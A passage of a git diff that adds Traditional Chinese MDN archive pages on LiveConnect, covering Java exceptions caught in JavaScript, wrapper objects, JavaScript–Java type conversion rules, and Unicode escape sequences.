+<p>當 Java 代碼在執行時期失敗的時候，他就會丟出例外。如果你的 JavaScript 代碼存取 Java 的資料成員或方法並且失敗的時候，Java 的例外會被傳送到 JavaScript 以供你處理。從 JavaScript 1.4 開始，你可以在 <code>try...catch</code> 區塊裡捕捉這些例外。（雖然這個機能連同其他部分已在 Gecko 1.9 中失效 (詳見 <strong><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=391642">bug 391642</a></strong>)，不再於 Mozilla 內部維護 Mozilla 特有的 LiveConnect 代碼，但已在 Java 6 更新的 11 和 12 的建置版本中，在 Mozilla 實裝的通用 (跨瀏覽器) <a class="internal" href="/zh_tw/%E6%8F%92%E4%BB%B6" title="zh tw/插件">NPAPI</a> 插件的代碼中提供對 Java 的支援，並修復此問題。）</p>
+<p>例如，假設你使用 Java 的 <code>forName</code> 方法把 Java 類別的名稱代給稱為 <code>theClass</code> 的變數。如果你傳給他的值並不是 Java 類別的名稱，<code>forName</code> 方法就會丟出例外。把 <code>forName</code> 的代入語句放在 try 區塊以處理例外，如下︰</p>
+<pre>function getClass(javaClassName) {
+   try {
+      var theClass = java.lang.Class.forName(javaClassName);
+   } catch (e) {
+      return ("The Java exception is " + e);
+   }
+   return theClass
+}
+</pre>
+<p>在這個例子中，如果 <code>javaClassName</code> 可求出合理的類別名稱，例如 "java.lang.String"，代入就會成功。如果 <code>javaClassName</code> 求出無效的類別名稱，例如 "String"，<code>getClass</code> 函數會捕捉例外，並返回類似下面的東西︰</p>
+<pre>The Java exception is java.lang.ClassNotFoundException: String
+</pre>
+<p>若要針對例外的類型做特別的處理，可以使用 <code>instanceof</code> 運算子︰</p>
+<pre>try {
+  // ...
+} catch (e) {
+  if (e instanceof java.io.FileNotFound) {
+     // handling for FileNotFound
+  } else {
+    throw e;
+  }
+}
+</pre>
+<p>參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E4%BE%8B%E5%A4%96%E8%99%95%E7%90%86%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/例外處理語法">例外處理語法</a> 以取得更多有關於 JavaScript 例外的資訊。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:LiveConnect_概要:包裝器的運用", "Core_JavaScript_1.5_教學:LiveConnect_概要:Java_向_JavaScript_的通訊") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/JavaScript_to_Java_Communication", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Comunicaci\u00f3n_de_JavaScript_con_Java", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/JavaScript_to_Java_Communication", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Komunikacja_mi\u0119dzy_JavaScript_a_Java" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/包裝器的運用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/包裝器的運用/index.html
new file mode 100644
index 0000000000..91b98b1697
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/包裝器的運用/index.html
@@ -0,0 +1,13 @@
+---
+title: 包裝器的運用
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/包裝器的運用
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<h3 id="包裝器的運用" name="包裝器的運用">包裝器的運用</h3>
+<p>在 JavaScript 中，<em>包裝器</em> (<em>wrapper</em>) 是一種目的語言資料類型的物件，可包裝來源語言的物件。當在 JavaScript 中設計程式的時候，你可以使用包裝器物件存取 Java 物件的方法和欄位；呼叫或存取包裝器裡的方法或屬性，用以在 Java 物件上產生呼叫。對 Java 而言，JavaScript 物件是被包裝在類別為 <code>netscape.javascript.JSObject</code> 的實體之中，並傳送給 Java。</p>
+<p>當 JavaScript 物件傳送給 Java 的時候，執行時期引撉會建立類型為 <code>JSObject</code> 的 Java 包裝器；當 <code>JSObject</code> 從 Java 傳送到 JavaScript 的時候，執行時期引撉會解開包裝，還原為原本的 JavaScript 物件類型。<code>JSObject</code> 類別提供了可呼叫 JavaScript 方法和檢查 JavaScript 屬性的介面。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:LiveConnect_概要", "Core_JavaScript_1.5_教學:LiveConnect_概要:JavaScript_向_Java_的通訊") }}</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Working_with_Wrappers", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Trabajando_con_envoltorios", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Working_with_Wrappers", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Praca_z_klas\u0105_opakowuj\u0105c\u0105" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/index.html
new file mode 100644
index 0000000000..b541dc1aaf
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/index.html
@@ -0,0 +1,15 @@
+---
+title: 資料類型的轉換
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/資料類型的轉換
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<h3 id="資料類型的轉換" name="資料類型的轉換">資料類型的轉換</h3>
+<p>因為 Java 是一種強類型的語言，而 JavaScript 是弱類型，JavaScript 執行時期引擎會在使用 LiveConnect 的時候，為其他的語言把參數值轉換成適當的資料類型。這些轉換過程會在以下的章節中詳述︰</p>
+<ul> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B/%E5%BE%9E_JavaScript_%E5%88%B0_Java_%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/資料類型的轉換/從 JavaScript 到 Java 的轉換">從 JavaScript 到 Java 的轉換</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B/%E5%BE%9E_Java_%E5%88%B0_JavaScript_%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/資料類型的轉換/從 Java 到 JavaScript 的轉換">從 Java 到 JavaScript 的轉換</a></li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:LiveConnect_概要:Java_向_JavaScript_的通訊:LiveConnect_類別的使用", "Core_JavaScript_1.5_教學:LiveConnect_概要:資料類型的轉換:從_JavaScript_到_Java_的轉換") }}</p>
+<p> </p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Konwersja_typu_danych" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/從_java_到_javascript_的轉換/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/從_java_到_javascript_的轉換/index.html
new file mode 100644
index 0000000000..258cd81717
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/從_java_到_javascript_的轉換/index.html
@@ -0,0 +1,18 @@
+---
+title: 從 Java 到 JavaScript 的轉換
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/資料類型的轉換/從_Java_到_JavaScript_的轉換
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<h3 id="從_Java_到_JavaScript_的轉換" name="從_Java_到_JavaScript_的轉換">從 Java 到 JavaScript 的轉換</h3>
+<p>從 Java 傳給 JavaScript 的值將如下做轉換︰</p>
+<ul> <li>Java 的 byte、char、short、int、long、float、double 會被轉換成 JavaScript 數字。</li> <li>Java 的 boolean 會被轉換成 JavaScript 真假值。</li> <li>類別 netscape.javascript.JSObject 的物件會被轉換成原始的 JavaScript 物件。</li> <li>Java 的陣列會被轉換成 JavaScript 的模擬版 Array 物件；這個物件的行為就像 JavaScript 的 Array 物件︰你可以使用 arrayName{{ mediawiki.external('index') }}（index 部分是整數）語法來存取陣列，以及使用 arrayName.length 得知陣列的長度。</li> <li>所有其他類別的 Java 物件會被轉換成 JavaScript 的包裝器，包裝器可用來存取 Java 物件的方法或欄位︰ <ul> <li>呼叫在原始物件上的 toString 方法把包裝器轉換成字串。</li> <li>呼叫 doubleValue 方法轉換成數字，如果不可能的話就會失敗。</li> <li>在 JavaScript 1.3 及其後版本中轉換成真假值，如果物件為 null，就會返回 false，其餘為 true。</li> <li>在 JavaScript 1.2 及早期版本中呼叫 booleanValue 方法轉換成真假值，如果不可能的話就會失敗。</li> </ul> </li>
+</ul>
+<p>注意，java.lang.Double 或 java.lang.Integer 的實體會被轉換成 JavaScript 物件，而非 JavaScript 數字。同樣的，java.lang.String 實體也會被轉換成 JavaScript 物件，而非 JavaScript 字串。</p>
+<p>Java 的 String 物件也可對應於 JavaScript 的包裝器。如果你呼叫需要 JavaScript 字串的 JavaScript 方法，並且把包裝器傳給這個方法，你會碰到錯誤。正確方法是，藉由附加空的字串把包裝器轉換成 JavaScript 字串，如下所示︰</p>
+<pre>var JavaString = JavaObj.methodThatReturnsAString();
+var JavaScriptString = JavaString + "";
+</pre>
+<p>{{ Previous("Core_JavaScript_1.5_教學:LiveConnect_概要:資料類型的轉換:從_JavaScript_到_Java_的轉換") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/Java_to_JavaScript_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos/Conversiones_de_Java_a_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/Java_to_JavaScript_Conversions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/從_javascript_到_java_的轉換/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/從_javascript_到_java_的轉換/index.html
new file mode 100644
index 0000000000..a928ec1a0d
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/資料類型的轉換/從_javascript_到_java_的轉換/index.html
@@ -0,0 +1,50 @@
+---
+title: 從 JavaScript 到 Java 的轉換
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/資料類型的轉換/從_JavaScript_到_Java_的轉換
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<h3 id="從_JavaScript_到_Java_的轉換" name="從_JavaScript_到_Java_的轉換">從 JavaScript 到 Java 的轉換</h3>
+<p>當你從 JavaScript 呼叫 Java 的方法並傳入參數的時候，你所傳入的參數的資料類型會按下列規則而被轉換︰</p>
+<ul> <li>{{ Anch("數值") }}</li> <li>{{ Anch("真假值") }}</li> <li>{{ Anch("字串值") }}</li> <li>{{ Anch("Undefined 值") }}</li> <li>{{ Anch("Null 值") }}</li> <li>{{ Anch("JavaArray 以及 JavaObject 物件") }}</li> <li>{{ Anch("JavaClass 物件") }}</li> <li>{{ Anch("其他的 JavaScript 物件") }}</li>
+</ul>
+<p><code>netscape.javascript.JSObject</code> 的方法的返回值永遠會被轉換成 <code>java.lang.Object</code> 的實體。這些返回值的轉換規則也會在這些小節中描述。</p>
+<p>舉例來說，如果 <code>JSObject.eval</code> 返回了 JavaScript 數值，你可以在 {{ Anch("數值") }} 中找到數字轉成 <code>java.lang.Object</code> 實體的規則。</p>
+<h4 id="數值" name="數值">數值</h4>
+<p>當你給 Java 方法傳入 JavaScript 數字類型當作參數的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>double</td> <td> <ul> <li>值會被分毫不差的傳給 Java，而不經過捨入、或精度、符號的損失。</li> <li>NaN 會被轉換成 NaN。</li> </ul> </td> </tr> <tr> <td>java.lang.Double<br> java.lang.Object</td> <td>java.lang.Double 的新實體會被建立，值會被分毫不差的傳給 Java，而不經過捨入、或精度、符號的損失。</td> </tr> <tr> <td>float</td> <td> <ul> <li>值會被捨入成浮點精度。</li> <li>過大或過小的值會被表示為捨入過的正無限大或負無限大。</li> <li>NaN 會被轉換成 NaN。</li> </ul> </td> </tr> <tr> <td>byte<br> char<br> int<br> long<br> short</td> <td> <ul> <li>值會以捨入至負無限大的方向進行捨入。</li> <li>過大或過小的值將導致執行時期錯誤。</li> <li>無法轉換 NaN 並導致執行時期錯誤。</li> </ul> </td> </tr> <tr> <td>java.lang.String</td> <td>值會被轉換成字串。例如︰ <ul> <li>237 變成 "237"</li> </ul> </td> </tr> <tr> <td>boolean</td> <td> <ul> <li>0 和 NaN 值會被轉換成 false。</li> <li>其他的值會被轉換成 true。</li> </ul> </td> </tr> </tbody>
+</table>
+<p>當 JavaScript 的數字被當作參數傳給 Java 的方法時，Java 的方法預期的是 <code>java.lang.String</code> 的實體，數字會被轉換成字串。使用 <code>equals()</code> 方法來和其他的字串值比較轉換的結果。</p><h4 id="真假值" name="真假值">真假值</h4>
+<p>當你把 JavaScript 的布林類型當作參數傳給 Java 方法的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>boolean</td> <td>所有的值全都直接被轉換成 Java 的等價物。</td> </tr> <tr> <td>java.lang.Boolean<br> java.lang.Object</td> <td><code>java.lang.Boolean</code> 的新實體會被建立。每一個參數都會建立一個新實體，而非一個實體持有同一原始值。</td> </tr> <tr> <td>java.lang.String</td> <td>值會被轉換成字串。例如︰ <ul> <li>true 變成 "true"</li> <li>false 變成 "false"</li> </ul> </td> </tr> <tr> <td>byte<br> char<br> double<br> float<br> int<br> long<br> short</td> <td> <ul> <li>true 變成 1</li> <li>false 變成 0</li> </ul> </td> </tr> </tbody>
+</table>
+<p>當 JavaScript 的真假值被當作參數傳給 Java 方法的時候，Java 方法預期的是 <code>java.lang.String</code> 的實體，真假值會被轉換成字串。使用 == 運算子與其他的字串值和轉換的結果做比較。</p><h4 id="字串值" name="字串值">字串值</h4>
+<p>當你把 JavaScript 的字串類型當作參數傳給 Java 方法的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>java.lang.String<br> java.lang.Object</td> <td> <p>JavaScript 1.4︰</p> <ul> <li>JavaScript 字串會被轉換成以 Unicode 值表示的 java.lang.String 實體。</li> </ul> <p>JavaScript 1.3 及早期版本︰</p> <ul> <li>JavaScript 字串會被轉換成以 ASCII 值表示的 java.lang.String 實體。</li> </ul> </td> </tr> <tr> <td>byte<br> double<br> float<br> int<br> long<br> short</td> <td>所有的值都會被轉換成 ECMA-262 所述的數字。JavaScript 字串值會根據 ECMA-262 所述的規則轉換成數字。</td> </tr> <tr> <td>char</td> <td> <p>JavaScript 1.4︰</p> <ul> <li>單一字元的字串會被轉換成 Unicode 字元。</li> <li>其餘的值會被轉換成數字。</li> </ul> <p>JavaScript 1.3 及早期版本︰</p> <ul> <li>所有的值都會被轉換成數字。</li> </ul> </td> </tr> <tr> <td>boolean</td> <td> <ul> <li>空字串會變成 false。</li> <li>其餘的值會變成 true。</li> </ul> </td> </tr> </tbody>
+</table>
+<h4 id="Undefined_值" name="Undefined_值">Undefined 值</h4>
+<p>當你把 JavaScript 的 undefined 類型當作參數傳給 Java 方法的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>lava.lang.String<br> java.lang.Object</td> <td>值會被轉換成 java.lang.String 實體，且其值為字串 "undefined"。</td> </tr> <tr> <td>boolean</td> <td>值會變成 false。</td> </tr> <tr> <td>double<br> float</td> <td>值會變成 NaN。</td> </tr> <tr> <td>byte<br> char<br> int<br> long<br> short</td> <td>值會變成 0。</td> </tr> </tbody>
+</table>
+<p>undefined 的值轉換只能出現在 JavaScript 1.3 及其後版本。JavaScript 的早期版本並不支援 undefined 值。</p>
+<p>當 JavaScript 的 undefined 被當作參數傳給 Java 的方法時，Java 的方法預期的是 java.lang.String 的實體，undefined 值會被轉換成字串。使用 == 運算子來和其他的字串值比較轉換的結果。</p><h4 id="Null_值" name="Null_值">Null 值</h4>
+<p>當你把 JavaScript 的 null 值當作參數傳給 Java 方法的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>所有的類別<br> 所有的界面類型</td> <td>值會變成 null。</td> </tr> <tr> <td>byte<br> char<br> double<br> float<br> int<br> long<br> short</td> <td>值會變成 0。</td> </tr> <tr> <td>boolean</td> <td>值會變成 false。</td> </tr> </tbody>
+</table>
+<h4 id="JavaArray_以及_JavaObject_物件" name="JavaArray_以及_JavaObject_物件">JavaArray 以及 JavaObject 物件</h4>
+<p>在大多數情況下，當你把 JavaScript 的 JavaArray 或 JavaObject 當作參數傳給 Java 方法的時候，Java 只是簡單的把物件解開；在少數情況下，物件會根據描述在下表中的規則，強制轉換成其他的資料類型。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>任何與解開後的物件具代入相容性的界面或類別。</td> <td>直接解開物件。</td> </tr> <tr> <td>java.lang.String</td> <td>直接解開物件，解開後的 Java 物件的 toString 方法會被呼叫，並返回 java.lang.String 的新實體。</td> </tr> <tr> <td>byte<br> char<br> double<br> float<br> int<br> long<br> short</td> <td> <p>直接解開物件，並發生下列其中一種情況︰</p> <ul> <li>如果解開後的 Java 物件具有 doubleValue 方法，JavaArray 或 JavaObject 就會被轉換成這個方法的返回值。</li> <li>如果解開後的 Java 物件沒有 doubleValue 方法，就會發生錯誤。</li> </ul> </td> </tr> <tr> <td>boolean</td> <td> <p>在 JavaScript 1.3 及其後版本中，會直接解開物件並發生下列其中一種情況︰</p> <ul> <li>如果物件是 null，就會把他轉換成 false。</li> <li>如果物件具有任何其他的值，就會把他轉換成 true。</li> </ul> <p>在 JavaScript 1.2 及早期版本中，會直接解開物件並發生下列其中一種情況︰</p> <ul> <li>如果解開後的物件具有 booleanValue 方法，來源物件就會被轉換成這個方法的返回值。</li> <li>如果物件沒有 booleanValue 方法，轉換就會失敗。</li> </ul> </td> </tr> </tbody>
+</table>
+<p>如果解開後的物件是 Java 參數類型的實體，界面或類別就與這個解開後的物件具有代入相容性。也就是說，下面的語句必須返回 true︰</p>
+<pre>unwrappedObject instanceof parameterType
+</pre>
+<h4 id="JavaClass_物件" name="JavaClass_物件">JavaClass 物件</h4>
+<p>當你把 JavaScript 的 JavaClass 物件當作參數傳給 Java 方法的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>java.lang.Class</td> <td>直接解開物件。</td> </tr> <tr> <td>netscape.javascript.JSObject<br> java.lang.Object</td> <td>JavaClass 物件會被包裝在新的 netscape.javascript.JSObject 實體。</td> </tr> <tr> <td>java.lang.String</td> <td>直接解開物件，解開後的 Java 物件的 toString 方法會被呼叫，並返回新的 java.lang.String 實體。</td> </tr> <tr> <td>boolean</td> <td> <p>在 JavaScript 1.3 及其後版本中，會直接解開物件並發生下列其中一種情況︰</p> <ul> <li>如果物件是 null，就會把他轉換成 false。</li> <li>如果物件具有任何其他的值，就會把他轉換成 true。</li> </ul> <p>在 JavaScript 1.2 及早期版本中，會直接解開物件並發生下列其中一種情況︰</p> <ul> <li>如果解開後的物件具有 booleanValue 方法，來源物件就會被轉換成這個方法的返回值。</li> <li>如果物件沒有 booleanValue 方法，轉換就會失敗。</li> </ul> </td> </tr> </tbody>
+</table><h4 id="其他的_JavaScript_物件" name="其他的_JavaScript_物件">其他的 JavaScript 物件</h4>
+<p>當你把 JavaScript 的任何其他的物件當作參數傳給 Java 方法的時候，Java 會按照描述在下表中的對應規則做轉換︰</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>Java 參數類型</th> <th>轉換規則</th> </tr> <tr> <td>netscape.javascript.JSObject<br> java.lang.Object</td> <td>物件會被包裝在新的 netscape.javascript.JSObject 實體。</td> </tr> <tr> <td>java.lang.String</td> <td>直接解開物件，解開後的 Java 物件的 toString 方法會被呼叫，並返回新的 java.lang.String 實體。</td> </tr> <tr> <td>byte<br> <p>char<br> double<br> float<br> int<br> long</p> short</td> <td>物件會使用在 ECMA-262 中所述的 ToPrimitive 運算子的邏輯轉換成值。運算子所使用的 PreferredType 提示是 Number。</td> </tr> <tr> <td>boolean</td> <td> <p>在 JavaScript 1.3 及其後版本中，會直接解開物件並發生下列其中一種情況︰</p> <ul> <li>如果物件是 null，就會把他轉換成 false。</li> <li>如果物件具有任何其他的值，就會把他轉換成 true。</li> </ul> <p>在 JavaScript 1.2 及早期版本中，會直接解開物件並發生下列其中一種情況︰</p> <ul> <li>如果解開後的物件具有 booleanValue 方法，來源物件就會被轉換成這個方法的返回值。</li> <li>如果物件沒有 booleanValue 方法，轉換就會失敗。</li> </ul> </td> </tr> </tbody>
+</table>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:LiveConnect_概要:資料類型的轉換", "Core_JavaScript_1.5_教學:LiveConnect_概要:資料類型的轉換:從_Java_到_JavaScript_的轉換") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/JavaScript_to_Java_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos/Conversiones_de_JavaScript_a_Java", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions/JavaScript_to_Java_Conversions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/unicode/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/unicode/index.html
new file mode 100644
index 0000000000..06d2d73626
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/unicode/index.html
@@ -0,0 +1,32 @@
+---
+title: Unicode
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/Unicode
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<h3 id="Unicode" name="Unicode">Unicode</h3>
+<p>Unicode 是一種全球通用的字元編碼標準，用於交換並顯示主要的書寫語言。Unicode 涵括了美國、歐洲、中東、非洲、印度、亞洲以及太平洋地區的語系，但不包括歷史手稿和專門符號。Unicode 可用於交換、處理並顯示多國語系的文書，除了一般的專門符號和數學符號以外。Unicode 期望能夠解決對於不同國家的字元標準的多國語言處理等國際化問題。但目前並未完整支援所有的現代或古代的文字。</p>
+<p>Unicode 字元集可以使用所有已知編碼的字元。Unicode 是繼 ASCII（American Standard Code for Information Interchange；美國資訊交換標準碼）字元集之後的字元集模型。Unicode 為每一個字元分配一個數字和名稱。字元編碼規範了字元的識別資訊及其數值（編碼位置），但未指明數值的位元表示法。16 位元數值（編碼值）是以十六進制數並加上前綴 U 來定義的，例如，U+0041 表示 A。這個數值的專用名稱是 LATIN CAPITAL LETTER A。</p>
+<p><strong>JavaScript 1.3 以前的版本並不支援 </strong><strong>Unicode。</strong></p>
+<h4 id="Unicode_與_ASCII_和_ISO_的相容性" name="Unicode_與_ASCII_和_ISO_的相容性">Unicode 與 ASCII 和 ISO 的相容性</h4>
+<p>Unicode 完全相容於國際標準 ISO/IEC 10646-1; 1993，屬於 ISO 10646 的子集。</p>
+<p>若干編碼標準（包括 UTF-8、UTF-16、ISO UCS-2）是用來把 Unicode 表示為實際的位元。</p>
+<p>Unicode 的 UTF-8 編碼可相容於 ASCII 字元，並已有許多程式支援。並且把前 128 個 Unicode 字元對應至 ASCII 字元，而擁有相同的位元組內碼。從 U+0020 到 U+007E 的 Unicode 字元完全等價於從 0x20 到 0x7E 的 ASCII 字元。與 ASCII 不同之處在於，還支援了使用 7 位元字元集的拉丁字母，UTF-8 為各個字元使用 1 到 4 個位元組（原作“octet”，即位元組、8 位元），借此容納數以百萬計的字元。另一種編碼標準，UTF-16，使用 2 個位元組表示 Unicode 字元。藉由 4 位元組的跳脫序列，可讓 UTF-16 表示 Unicode 的全部範圍。ISO UCS-2（Universal Character Set）使用 2 個位元組。</p>
+<p>JavaScript 和 Navigator 支援 UTF-8/Unicode，意味著你只需在 JavaScript 程式中加上特別的技術，就可以使用非拉丁文、國際性、地域性的文字。Unicode 為多國文字的編碼提供了標準方法。由於 Unicode 的 UTF-8 編碼可相容於 ASCII，程式可以使用 ASCII 字元。你可以在 JavaScript 的註解、字串的字面表達、識別子、正則表達式中使用非 ASCII 的 Unicode 字元。</p>
+<h4 id="Unicode_的跳脫序列" name="Unicode_的跳脫序列">Unicode 的跳脫序列</h4>
+<p>你可以在字串的字面表達、正則表達式、識別子中使用 Unicode 跳脫序列。跳脫序列是由 6 個 ASCII 字元所構成︰\u 和 4 個十六進制數。例如，\u00A9 表示版權符號。在 JavaScript 中，所有的 Unicode 跳脫序列都會被解譯為單一字元。</p>
+<p>以下代碼返回版權符號和字串 "Netscape Communications"。</p>
+<pre>x="\u00A9 Netscape Communications"</pre>
+<p>下表列出最常用的特殊字元及其 Unicode 值。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>分類</th> <th>Unicode 值</th> <th>名稱</th> <th>格式名稱</th> </tr> <tr> <td>空白的值</td> <td>\u0009</td> <td>Tab</td> <td>&lt;TAB&gt;</td> </tr> <tr> <td> </td> <td>\u000B</td> <td>Vertical Tab</td> <td>&lt;VT&gt;</td> </tr> <tr> <td> </td> <td>\u000C</td> <td>Form Feed</td> <td>&lt;FF&gt;</td> </tr> <tr> <td> </td> <td>\u0020</td> <td>Space</td> <td>&lt;SP&gt;</td> </tr> <tr> <td>行終止的值</td> <td>\u000A</td> <td>Line Feed</td> <td>&lt;LF&gt;</td> </tr> <tr> <td> </td> <td>\u000D</td> <td>Carriage Return</td> <td>&lt;CR&gt;</td> </tr> <tr> <td>額外的 Unicode 跳脫序列的值</td> <td>\u0008</td> <td>Backspace</td> <td>&lt;BS&gt;</td> </tr> <tr> <td> </td> <td>\u0009</td> <td>Horizontal Tab</td> <td>&lt;HT&gt;</td> </tr> <tr> <td> </td> <td>\u0022</td> <td>Double Quote</td> <td>"</td> </tr> <tr> <td> </td> <td>\u0027</td> <td>Single Quote</td> <td>'</td> </tr> <tr> <td> </td> <td>\u005C</td> <td>Backslash</td> <td>\</td> </tr> </tbody>
+</table>
+<p><small><strong>表 2.2: 特殊字元的 Unicode 值</strong></small></p>
+<p>JavaScript 使用的 Unicode 跳脫序列與 Java 不同。在 JavaScript 中，跳脫序列一開始不會被解譯為特殊字元。例如，字串裡的換行的跳脫序列，在給函數解譯以前，並不會使字串換行。JavaScript 會忽略所有使用在註解裡的跳脫序列。在 Java 中，如果跳脫序列使用在單行註解裡，就會被解譯為 Unicode 字元。對於字串的字面表達而言，Java 編譯器將首先解譯跳脫序列。例如，如果在 Java 中使用換行的跳脫字元（即 \u000A），就會使字串的字面表達換行。這在 Java 中會引起錯誤，因為換行不可以用在字串的字面表達。你必須給字串的字面表達的換行替換成 \n。在 JavaScript 中，也同樣使用 \n 作為跳脫序列。</p>
+<h4 id="在_JavaScript_檔案裡的_Unicode_字元" name="在_JavaScript_檔案裡的_Unicode_字元">在 JavaScript 檔案裡的 Unicode 字元</h4>
